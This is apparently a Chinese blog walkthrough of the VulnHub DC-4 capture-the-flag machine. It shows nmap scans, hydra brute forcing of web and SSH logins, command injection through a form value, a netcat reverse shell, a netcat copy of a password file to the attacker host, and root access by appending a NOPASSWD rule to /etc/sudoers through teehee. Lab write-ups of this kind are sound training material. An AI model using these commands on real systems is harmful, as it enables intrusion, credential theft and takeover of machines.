文档建议反馈控制台
首页
学习
活动
专区
圈层
工具
MCP广场
文章/答案/技术大牛
发布
首页
学习
活动
专区
圈层
工具
MCP广场
返回腾讯云官网
社区首页 >专栏 >vulnhub靶机实战_DC-4

vulnhub靶机实战_DC-4

作者头像
varin
发布于 2025-09-28 13:23:25
发布于 2025-09-28 13:23:25
11600
代码可运行
举报
文章被收录于专栏：/root/root
运行总次数：0
代码可运行

下载

  1. 靶机下载链接汇总：https://download.vulnhub.com/
  2. 使用搜索功能，搜索dc类型的靶机即可。
  3. 本次实战使用的靶机是：DC-4
  4. 系统：Debian
  5. 下载链接：https://download.vulnhub.com/dc/DC-4.zip
image.png
image.png

启动

  1. 下载完成后，打开VMware软件，通过左上角文件打开，将DC-3ova导入，导入完成后将网络连接方式修改为NAT。
  2. 启动成功图
image.png
image.png

扫描分析

  1. 本次实践ip网段为：192.168.198.0/24 攻击机IP为：192.168.198.129
  2. 未启动靶机扫描网段
代码语言：javascript
代码运行次数：0
运行
复制
nmap -sP 192.168.198.0/24
# 结果
# Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-05 14:16 CST
# Nmap scan report for 192.168.198.1
# Host is up (0.00021s latency).
# MAC Address: 00:50:56:C0:00:08 (VMware)
# Nmap scan report for 192.168.198.2
# Host is up (0.00014s latency).
# MAC Address: 00:50:56:F7:F2:9C (VMware)
# Nmap scan report for 192.168.198.254
# Host is up (0.00013s latency).
# MAC Address: 00:50:56:E7:6F:81 (VMware)
# Nmap scan report for 192.168.198.129
# Host is up.
# Nmap done: 256 IP addresses (4 hosts up) scanned in 1.92 seconds
  1. 启动靶机扫描网段
    1. 得到靶机IP：192.168.198.132
代码语言：javascript
代码运行次数：0
运行
复制
nmap -sP 192.168.198.0/24
# 结果
# Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-05 14:18 CST
# Nmap scan report for 192.168.198.1
# Host is up (0.00016s latency).
# MAC Address: 00:50:56:C0:00:08 (VMware)
# Nmap scan report for 192.168.198.2
# Host is up (0.00014s latency).
# MAC Address: 00:50:56:F7:F2:9C (VMware)
# Nmap scan report for 192.168.198.132
# Host is up (0.00024s latency).
# MAC Address: 00:0C:29:65:0C:C2 (VMware)
# Nmap scan report for 192.168.198.254
# Host is up (0.00019s latency).
# MAC Address: 00:50:56:E7:6F:81 (VMware)
# Nmap scan report for 192.168.198.129
# Host is up.
# Nmap done: 256 IP addresses (5 hosts up) scanned in 1.92 seconds
  1. 扫描靶机基本信息
    1. 开放端口：22/80
    2. 开放服务：ssh、http
    3. 中间件： nginx/1.15.10
    4. 网址：http://192.168.198.132:80/
    5. 漏洞：CVE-2011-1002
代码语言：javascript
代码运行次数：0
运行
复制
nmap -A -p 1-65535 -v 192.168.198.132 -T4 --script=vuln
#结果
# Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-05 14:25 CST
# NSE: Loaded 150 scripts for scanning.
# NSE: Script Pre-scanning.
# Initiating NSE at 14:25
# NSE Timing: About 50.00% done; ETC: 14:26 (0:00:31 remaining)
# Completed NSE at 14:26, 34.02s elapsed
# Initiating NSE at 14:26
# Completed NSE at 14:26, 0.00s elapsed
# Pre-scan script results:
# | broadcast-avahi-dos:
# |   Discovered hosts:
# |     224.0.0.251
# |   After NULL UDP avahi packet DoS (CVE-2011-1002).
# |_  Hosts are all up (not vulnerable).
# Initiating ARP Ping Scan at 14:26
# Scanning 192.168.198.132 [1 port]
# Completed ARP Ping Scan at 14:26, 0.04s elapsed (1 total hosts)
# Initiating Parallel DNS resolution of 1 host. at 14:26
# Completed Parallel DNS resolution of 1 host. at 14:26, 0.01s elapsed
# Initiating SYN Stealth Scan at 14:26
# Scanning 192.168.198.132 [65535 ports]
# Discovered open port 80/tcp on 192.168.198.132
# Discovered open port 22/tcp on 192.168.198.132
# Completed SYN Stealth Scan at 14:26, 1.89s elapsed (65535 total ports)
# Initiating Service scan at 14:26
# Scanning 2 services on 192.168.198.132
# Completed Service scan at 14:26, 6.01s elapsed (2 services on 1 host)
# Initiating OS detection (try #1) against 192.168.198.132
# NSE: Script scanning 192.168.198.132.
# Initiating NSE at 14:26
# Completed NSE at 14:27, 63.68s elapsed
# Initiating NSE at 14:27
# Completed NSE at 14:27, 0.02s elapsed
# Nmap scan report for 192.168.198.132
# Host is up (0.00038s latency).
# Not shown: 65533 closed tcp ports (reset)
# PORT   STATE SERVICE VERSION
# 22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
# 80/tcp open  http    nginx 1.15.10
# |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
# | http-csrf:
# | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.198.132
# |   Found the following possible CSRF vulnerabilities:
# |
# |     Path: http://192.168.198.132:80/
# |     Form id:
# |     Form action: login.php
# |
# |     Path: http://192.168.198.132:80/login.php
# |     Form id:
# |_    Form action: login.php
# |_http-dombased-xss: Couldn't find any DOM based XSS.
# |_http-server-header: nginx/1.15.10
# MAC Address: 00:0C:29:65:0C:C2 (VMware)
# Device type: general purpose
# Running: Linux 3.X|4.X
# OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
# OS details: Linux 3.2 - 4.9
# Uptime guess: 0.003 days (since Wed Jun  5 14:22:55 2024)
# Network Distance: 1 hop
# TCP Sequence Prediction: Difficulty=260 (Good luck!)
# IP ID Sequence Generation: All zeros
# Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

# TRACEROUTE
# HOP RTT     ADDRESS
# 1   0.38 ms 192.168.198.132

# NSE: Script Post-scanning.
# Initiating NSE at 14:27
# Completed NSE at 14:27, 0.00s elapsed
# Initiating NSE at 14:27
# Completed NSE at 14:27, 0.00s elapsed
# Read data files from: /usr/bin/../share/nmap
# OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done: 1 IP address (1 host up) scanned in 107.34 seconds
#            Raw packets sent: 65558 (2.885MB) | Rcvd: 65550 (2.623MB)

网站首页

  1. 链接：http://192.168.198.132
image.png
image.png
  1. 尝试sql注入，但是没有成功
  2. 尝试暴力破解

hydra爆破

  1. 参考链接：https://blog.csdn.net/weixin_43039349/article/details/89323846
  2. 获取密码字典
    1. 使用kali自带的rockyou字典，位置在：/usr/share/wordlists/rockyou.txt.gz
    2. 使用解压命令解压：gzip -d
    3. 解压后获得字典文件（由于字典过大，就不展示了。）
  3. 开始破解
    1. 密码为：happy
代码语言：javascript
代码运行次数：0
运行
复制
hydra -l admin -P passwd.txt 192.168.198.132 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F
# 结果
# Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

# Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-05 15:51:17
# [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
# [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per tas
# [DATA] attacking http-post-form://192.168.198.132:80/login.php:username=^USER^&password=^PASS^:S=logout
# [80][http-post-form] host: 192.168.198.132   login: admin   password: happy
# [STATUS] attack finished for 192.168.198.132 (valid pair found)
# 1 of 1 target successfully completed, 1 valid password found
# Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-06-05 15:51:38
  1. 登录网站
image.png
image.png

表单分析

  1. 点击单选按钮
    1. F12，查看元素中的value，并结合页面返回值，发现存储的就是linux指令，
image.png
image.png
  1. 尝试将value中的指修改为其他指令
    1. 修改为whomai
      1. 可以得到想要结果
image.png
image.png

反向Shell

  1. 攻击机开启端口监听 nc -lnvp 10008
  2. 修改靶机单选value中的指，点击Run
image.png
image.png
  1. 连接成功
代码语言：javascript
代码运行次数：0
运行
复制
nc -lnvp 10008
# listening on [any] 10008 ...
# connect to [192.168.198.129] from (UNKNOWN) [192.168.198.132] 39024
python -c "import pty;pty.spawn('/bin/bash');"
# www-data@dc-4:/usr/share/nginx/html$ whoami
# whoami
# www-data
# www-data@dc-4:/usr/share/nginx/html$

ssh登录

  1. 进入靶机后，进入到/home目录后发现2个用户
代码语言：javascript
代码运行次数：0
运行
复制
www-data@dc-4:/usr/share/nginx/html$ cd /home
cd /home
www-data@dc-4:/home$ ls
ls
# 结果
charles  jim  sam
  1. 进入到/jim/backups目录发现一个密码字典
代码语言：javascript
代码运行次数：0
运行
复制
www-data@dc-4:/home/jim$ cd backups
cd backups
www-data@dc-4:/home/jim/backups$ ls
ls
old-passwords.bak
www-data@dc-4:/home/jim/backups$ cat old-passwords.bak
cat old-passwords.bak
# 000000
# 12345
# iloveyou
# 1q2w3e4r5t
# 1234
# 123456a
# qwertyuiop
  1. 将靶机的密码字典复制到攻击机中
    1. 操作步骤：
      1. 先在攻击机中建立一个空的文件password1.txt
      2. 使用nc监听并接收靶机回传的数据
      3. 靶机建立连接并将字典传输到攻击机中
    2. 攻击机
代码语言：javascript
代码运行次数：0
运行
复制
┌──(root㉿kali)-[~/dc4]
└─# touch passwd1.txt

┌──(root㉿kali)-[~/dc4]
└─# ls
dc4.txt  dc4_2.txt  passwd.txt  passwd1.txt  user.txt

┌──(root㉿kali)-[~/dc4]
└─# nc -lnvp 10008 > passwd1.txt
listening on [any] 10008 ...
connect to [192.168.198.129] from (UNKNOWN) [192.168.198.132] 34814
^C

┌──(root㉿kali)-[~/dc4]
└─# cat passwd1.txt
# 传输成功
000000
12345
iloveyou
1q2w3e4r5t
1234
  1. 靶机
代码语言：javascript
代码运行次数：0
运行
复制
www-data@dc-4:/home/jim/backups$ nc 192.168.198.129 10008 <old-passwords.bak
nc 192.168.198.129 10008 <old-passwords.bak
www-data@dc-4:/home/jim/backups$
  1. hydra密码爆破
    1. 账号：jim 密码：jibril04
代码语言：javascript
代码运行次数：0
运行
复制
└─# hydra -l jim -P passwd1.txt -u ssh://192.168.198.132:22  -f
# Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

# Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-05 16:55:22
# [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
# [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
# [DATA] max 16 tasks per 1 server, overall 16 tasks, 252 login tries (l:1/p:252), ~16 tries per task
# [DATA] attacking ssh://192.168.198.132:22/
# [STATUS] 166.00 tries/min, 166 tries in 00:01h, 87 to do in 00:01h, 15 active
# [22][ssh] host: 192.168.198.132   login: jim   password: jibril04
# [STATUS] attack finished for 192.168.198.132 (valid pair found)
# 1 of 1 target successfully completed, 1 valid password found
# Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-06-05 16:57:04

# ┌──(root㉿kali)-[~/dc4]
  1. jim账号登录成功
代码语言：javascript
代码运行次数：0
运行
复制
└─# ssh ssh jim@192.168.198.132
The authenticity of host '192.168.198.132 (192.168.198.132)' can't be established.
ED25519 key fingerprint is SHA256:0CH/AiSnfSSmNwRAHfnnLhx95MTRyszFXqzT03sUJkk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.198.132' (ED25519) to the list of known hosts.
jim@192.168.198.132's password:
Linux dc-4 4.9.0-3-686 #1 SMP Debian 4.9.30-2+deb9u5 (2017-09-19) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Sun Apr  7 02:23:55 2019 from 192.168.0.100
jim@dc-4:~$

切换账号

  1. 进入到home使用ls命令时有提示
代码语言：javascript
代码运行次数：0
运行
复制
jim@dc-4:/home$ ls
charles  jim  sam
# 提示 新的邮件的地址
You have new mail in /var/mail/jim

jim@dc-4:/home$
  1. 邮件信息
    1. 得到密码：^xHhA&hvim0y
    2. 账户：charles
代码语言：javascript
代码运行次数：0
运行
复制
jim@dc-4:/var/mail$ cat /var/mail/jim
From charles@dc-4 Sat Apr 06 21:15:46 2019
Return-path: <charles@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 21:15:46 +1000
Received: from charles by dc-4 with local (Exim 4.89)
        (envelope-from <charles@dc-4>)
        id 1hCjIX-0000kO-Qt
        for jim@dc-4; Sat, 06 Apr 2019 21:15:45 +1000
To: jim@dc-4
Subject: Holidays
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCjIX-0000kO-Qt@dc-4>
From: Charles <charles@dc-4>
Date: Sat, 06 Apr 2019 21:15:45 +1000
Status: O

Hi Jim,

I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.

Password is:  ^xHhA&hvim0y

See ya,
Charles

From MAILER-DAEMON Wed Jun 05 19:07:50 2024
Return-path: <>
Envelope-to: jim@dc-4
Delivery-date: Wed, 05 Jun 2024 19:07:50 +1000
Received: from Debian-exim by dc-4 with local (Exim 4.89)
        id 1sEmcY-0000GL-4E
        for jim@dc-4; Wed, 05 Jun 2024 19:07:50 +1000
X-Failed-Recipients: dc4@dc-4
Auto-Submitted: auto-replied
From: Mail Delivery System <Mailer-Daemon@dc-4>
To: jim@dc-4
Content-Type: multipart/report; report-type=delivery-status; boundary=1717578470-eximdsn-1804289383
MIME-Version: 1.0
Subject: Mail delivery failed: returning message to sender
Message-Id: <E1sEmcY-0000GL-4E@dc-4>
Date: Wed, 05 Jun 2024 19:07:50 +1000

--1717578470-eximdsn-1804289383
Content-type: text/plain; charset=us-ascii

This message was created automatically by mail delivery software.

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:

  dc4@dc-4
    (generated from root@dc-4)
    Unrouteable address

--1717578470-eximdsn-1804289383
Content-type: message/delivery-status

Reporting-MTA: dns; dc-4

Action: failed
Final-Recipient: rfc822;dc4@dc-4
Status: 5.0.0

--1717578470-eximdsn-1804289383
Content-type: message/rfc822

Return-path: <jim@dc-4>
Received: from jim by dc-4 with local (Exim 4.89)
        (envelope-from <jim@dc-4>)
        id 1sEmcX-0000GJ-TW
        for root@dc-4; Wed, 05 Jun 2024 19:07:49 +1000
To: root@dc-4
Auto-Submitted: auto-generated
Subject: *** SECURITY information for dc-4 ***
From: Jim <jim@dc-4>
Message-Id: <E1sEmcX-0000GJ-TW@dc-4>
Date: Wed, 05 Jun 2024 19:07:49 +1000

dc-4 : Jun  5 19:07:49 : jim : user NOT in sudoers ; TTY=pts/1 ; PWD=/etc ; USER=root ; COMMAND=/bin/su


--1717578470-eximdsn-1804289383--

From MAILER-DAEMON Wed Jun 05 19:09:47 2024
Return-path: <>
Envelope-to: jim@dc-4
Delivery-date: Wed, 05 Jun 2024 19:09:47 +1000
Received: from Debian-exim by dc-4 with local (Exim 4.89)
        id 1sEmeR-0000HF-8U
        for jim@dc-4; Wed, 05 Jun 2024 19:09:47 +1000
X-Failed-Recipients: dc4@dc-4
Auto-Submitted: auto-replied
From: Mail Delivery System <Mailer-Daemon@dc-4>
To: jim@dc-4
Content-Type: multipart/report; report-type=delivery-status; boundary=1717578587-eximdsn-1804289383
MIME-Version: 1.0
Subject: Mail delivery failed: returning message to sender
Message-Id: <E1sEmeR-0000HF-8U@dc-4>
Date: Wed, 05 Jun 2024 19:09:47 +1000

--1717578587-eximdsn-1804289383
Content-type: text/plain; charset=us-ascii

This message was created automatically by mail delivery software.

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:

  dc4@dc-4
    (generated from root@dc-4)
    Unrouteable address

--1717578587-eximdsn-1804289383
Content-type: message/delivery-status

Reporting-MTA: dns; dc-4

Action: failed
Final-Recipient: rfc822;dc4@dc-4
Status: 5.0.0

--1717578587-eximdsn-1804289383
Content-type: message/rfc822

Return-path: <jim@dc-4>
Received: from jim by dc-4 with local (Exim 4.89)
        (envelope-from <jim@dc-4>)
        id 1sEmeR-0000HD-3O
        for root@dc-4; Wed, 05 Jun 2024 19:09:47 +1000
To: root@dc-4
Auto-Submitted: auto-generated
Subject: *** SECURITY information for dc-4 ***
From: Jim <jim@dc-4>
Message-Id: <E1sEmeR-0000HD-3O@dc-4>
Date: Wed, 05 Jun 2024 19:09:47 +1000

dc-4 : Jun  5 19:09:46 : jim : user NOT in sudoers ; TTY=pts/1 ; PWD=/etc ; USER=root ; COMMAND=/usr/bin/vi sudoers


--1717578587-eximdsn-1804289383--
  1. charles用户登录成功
代码语言：javascript
代码运行次数：0
运行
复制
jim@dc-4:/var/mail$ ^C
jim@dc-4:/var/mail$ su charles
Password:
charles@dc-4:/var/mail$ whoami
charles
charles@dc-4:/var/mail$

teehee提权

  1. 登录用户后，使用sudo -l 系统提示该用户可以在靶机上使用teehee命令
代码语言：javascript
代码运行次数：0
运行
复制
charles@dc-4:/bin$ sudo -l
Matching Defaults entries for charles on dc-4:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User charles may run the following commands on dc-4:
    (root) NOPASSWD: /usr/bin/teehee
# 参考
echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers
这句话的意思是将charles用户赋予执行sudo的权限添加到/etc/sudoers里。
| 是管道符 将前面的输出作为后面的输入
sudo teehee -a 是用管理员权限使用teehee -a命令
teehee -a 是添加一条语句到 /etc/sudoers里
/etc/sudoers 里存着的用户都有执行sudo的权限。
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。                      
原文链接：https://blog.csdn.net/ZhaoSong_/article/details/132110397
=============================================================================

flag

代码语言：javascript
代码运行次数：0
运行
复制
root@dc-4:/bin# cd /root
root@dc-4:~# ls
flag.txt
root@dc-4:~# cat flag.txt



888       888          888 888      8888888b.                             888 888 888 888
888   o   888          888 888      888  "Y88b                            888 888 888 888
888  d8b  888          888 888      888    888                            888 888 888 888
888 d888b 888  .d88b.  888 888      888    888  .d88b.  88888b.   .d88b.  888 888 888 888
888d88888b888 d8P  Y8b 888 888      888    888 d88""88b 888 "88b d8P  Y8b 888 888 888 888
88888P Y88888 88888888 888 888      888    888 888  888 888  888 88888888 Y8P Y8P Y8P Y8P
8888P   Y8888 Y8b.     888 888      888  .d88P Y88..88P 888  888 Y8b.      "   "   "   "
888P     Y888  "Y8888  888 888      8888888P"   "Y88P"  888  888  "Y8888  888 888 888 888


Congratulations!!!

Hope you enjoyed DC-4.  Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.

If you enjoyed this CTF, send me a tweet via @DCAU7.
root@dc-4:~#
本文参与 腾讯云自媒体同步曝光计划，分享自作者个人站点/博客。
原始发表：2024-06-05，如有侵权请联系 cloudcommunity@tencent.com 删除
登录
连接
权限
charles
root

本文分享自 作者个人站点/博客 前往查看

如有侵权，请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ，欢迎热爱写作的你一起参与！

登录
连接
权限
charles
root
评论
登录后参与评论
0 条评论
热度
最新
登录 后参与评论
推荐阅读
目录
  • 下载
  • 启动
  • 扫描分析
  • 网站首页
  • hydra爆破
  • 表单分析
  • 反向Shell
  • ssh登录
  • 切换账号
  • teehee提权
  • flag
领券

腾讯云开发者

扫码关注腾讯云开发者

扫码关注腾讯云开发者

领取腾讯云代金券

热门产品

热门推荐

更多推荐

Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有 

深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 深公网安备号 44030502008569

腾讯云计算（北京）有限责任公司 京ICP证150476号 |  京ICP备11018762号 | 京公网安备号11010802020287

问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档

Copyright © 2013 - 2025 Tencent Cloud.

All Rights Reserved. 腾讯云 版权所有

登录 后参与评论